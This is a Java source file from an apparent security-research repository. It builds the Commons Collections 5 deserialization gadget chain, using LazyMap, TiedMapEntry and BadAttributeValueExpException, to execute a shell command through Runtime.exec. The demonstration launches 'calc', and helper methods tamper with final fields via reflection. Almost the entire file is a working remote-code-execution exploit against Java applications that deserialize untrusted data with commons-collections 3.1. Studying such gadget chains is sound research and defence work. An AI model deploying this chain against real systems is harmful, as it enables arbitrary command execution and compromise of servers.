JavaDeserializationGadget/CommonCollections5.java at main · CP04042K/JavaDeserializationGadget · GitHub

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import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;

import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;

public class CC5 { // jdk 8, commons-collections:3.1
    public static void main(String[] args) {
        try {
            ChainedTransformer chain = new ChainedTransformer(
                    new Transformer[]{
                            new ConstantTransformer(Runtime.class),
                            new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", null}),
                            new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {Runtime.class, null}),
                            new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc"}),
                            new ConstantTransformer(1)
                    }
            );

            Map lmap = LazyMap.decorate(new HashMap(), chain);
            TiedMapEntry tme = new TiedMapEntry(lmap, 1);
            BadAttributeValueExpException bavee = new BadAttributeValueExpException("a");
            setFieldValue(bavee, "val", tme);

            deserialize(serialize(bavee));

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    static ByteArrayOutputStream serialize(Object object) {
        try {
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(baos);
            oos.writeObject(object);
            return baos;
        } catch (Exception e) {
            e.printStackTrace();
        }
        return null;
    }

    static void deserialize(ByteArrayOutputStream baos)  {

        try {
            ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
            ObjectInputStream ois = new ObjectInputStream(bais);
            ois.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    static void deserializeFromFile(String filename) throws IOException, ClassNotFoundException {
        try {
            ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
            ois.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }


    static void setFinalField(Object obj, String name, Object value) {
        try {
            Field field = obj.getClass().getDeclaredField(name);
            field.setAccessible(true);

            Field modifiersField = Field.class
                    .getDeclaredField("modifiers");
            modifiersField.setAccessible(true);
            modifiersField.setInt(field, field.getModifiers()
                    & ~Modifier.FINAL);

            field.set(obj, value);
        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        }

    }

    static Object getFinalField(Object obj, String name) {
        try {
            Field field = obj.getClass().getDeclaredField(name);
            field.setAccessible(true);

            Field modifiersField = Field.class
                    .getDeclaredField("modifiers");
            modifiersField.setAccessible(true);
            modifiersField.setInt(field, field.getModifiers()
                    & ~Modifier.FINAL);

            return field.get(obj);
        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        }
        return null;
    }

    static Object getFieldValue(Object obj, String name) {
        try {
            Field field = obj.getClass().getDeclaredField(name);
            field.setAccessible(true);
            return field.get(obj);

        } catch (Exception e) {
            System.out.println(e);
            return e;
        }

    }

    static void setFieldValue(Object obj, String name, Object value) {
        try {
            Field field = obj.getClass().getDeclaredField(name);
            field.setAccessible(true);
            field.set(obj, value);

        } catch (Exception e) {
            e.printStackTrace();
        }

    }
}